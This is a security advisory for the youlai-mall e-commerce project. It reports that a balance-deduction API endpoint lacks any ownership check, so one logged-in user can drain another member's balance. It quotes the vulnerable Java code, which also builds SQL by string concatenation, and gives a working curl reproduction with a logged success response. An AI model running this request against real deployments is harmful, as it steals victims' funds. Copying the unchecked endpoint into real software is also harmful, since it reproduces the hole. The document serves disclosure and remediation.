youlai-mall improper access control in PUT /mall-ums/app-api/v1/members/{memberId}/balances/_deduct enables horizontal privilege escalation and unauthorized balance manipulation on victim accounts

[Hwwg]

Contributors: Huang Weigang

1. Vulnerability Impact

• youlai-mall (latest)
• https://github.com/youlaitech/youlai-mall

2. Vulnerability Location

• PUT /mall-ums/app-api/v1/members/{memberId}/balances/_deduct

3. Code Analysis

• File: mall-ums/ums-boot/src/main/java/com/youlai/mall/ums/controller/app/MemberController.java
• Route and method:
  • @PutMapping("/{memberId}/balances/_deduct")
  • public Result<Boolean> deductBalance(@PathVariable Long memberId, @RequestParam Long balance) {
  • boolean result = memberService.deductBalance(memberId, balance);
  • return Result.success(result);
  • }
• Service: mall-ums/ums-boot/src/main/java/com/youlai/mall/ums/service/impl/UmsMemberServiceImpl.java
  • public boolean deductBalance(Long memberId, Long balance) {
  • return this.update(new LambdaUpdateWrapper\<UmsMember\>()
  • .eq(UmsMember::getId, memberId)
  • .setSql("balance = balance - " + balance));
  • }
• Issues:
  • No ownership check (missing validation that the provided memberId matches the current logged-in member, e.g., SecurityUtils.getMemberId()).
  • No role/permission control (no @PreAuthorize; any authenticated App user can deduct balance from arbitrary memberId).
  • Direct parameter trust (attacker-controlled memberId is used directly in database update without authorization).
  • Supports horizontal privilege escalation (attacker supplies victim's memberId and can deduct their balance).
  • Lacks transaction auditing and rate-limiting (no logging of who initiated the deduction, enabling silent abuse).

Vulnerability Reproduction

-- Preconditions

• Attacker has a valid App login token (Authorization: Bearer <token>).
• Victim's memberId is known or discoverable (via enumeration, logs, or other BOLA endpoints).
• Target Endpoint: PUT /mall-ums/app-api/v1/members/{memberId}/balances/_deduct

-- Steps (horizontal privilege escalation: deduct another user's balance)

• Log in as User A (memberId=100) and obtain a valid token.
• Call the endpoint with User B's memberId (e.g., memberId=200):
  • curl -X PUT -H "Authorization: Bearer <token>" "https://<gateway>/mall-ums/app-api/v1/members/200/balances/_deduct?balance=10000"
• Observe a 200 OK response, for example:
  • {"code":"00000","data":true,"msg":"一切ok"}
• Outcome: Without any ownership validation, User A successfully deducts balance from User B's account, causing financial loss and unauthorized state modification.

-- Example request/response log (reference)

• "data": {
  • "request_data": {
    • "method": "PUT",
    • "url": "http://10.15.196.160:9999/mall-ums/app-api/v1/members/200/balances/_deduct?balance=10000",
    • "params": {"balance": 10000},
    • "json": {},
    • "data": {},
    • "files": {}
      },
  • "response_data": {
    • "code": "00000",
    • "data": true,
    • "msg": "一切ok"
      }
      },
• "test": {
  • "request_data": {
    • "method": "PUT",
    • "url": "http://10.15.196.160:9999/mall-ums/app-api/v1/members/200/balances/_deduct?balance=10000",
    • "params": {"balance": 10000},
    • "json": {},
    • "data": {},
    • "files": {}
      },
  • "response_data": {
    • "code": "00000",
    • "data": true,
    • "msg": "一切ok"
      }
      }

4. Impact Description

• Unauthorized financial manipulation
  • Any logged-in user can deduct balance from arbitrary member accounts, causing direct financial loss to victims.
• Horizontal privilege escalation (BOLA/IDOR)
  • The memberId path parameter is not validated against the authenticated user's identity, allowing cross-account operations.
• Business logic bypass
  • Balance deduction should only occur through legitimate business flows (order payment, refunds), but this endpoint allows arbitrary deductions.
• Lack of audit trail
  • No logging of who initiated the deduction, making forensic investigation and accountability impossible.
• Compliance and regulatory risk
  • Financial operations without proper authorization violate security best practices and may breach financial regulations.
• Attack chain amplification
  • When combined with member enumeration endpoints (e.g., openid/mobile lookup), attackers can systematically drain balances across multiple accounts.
• System trust erosion
  • Users lose confidence in the platform's ability to protect their financial assets, damaging reputation and user retention.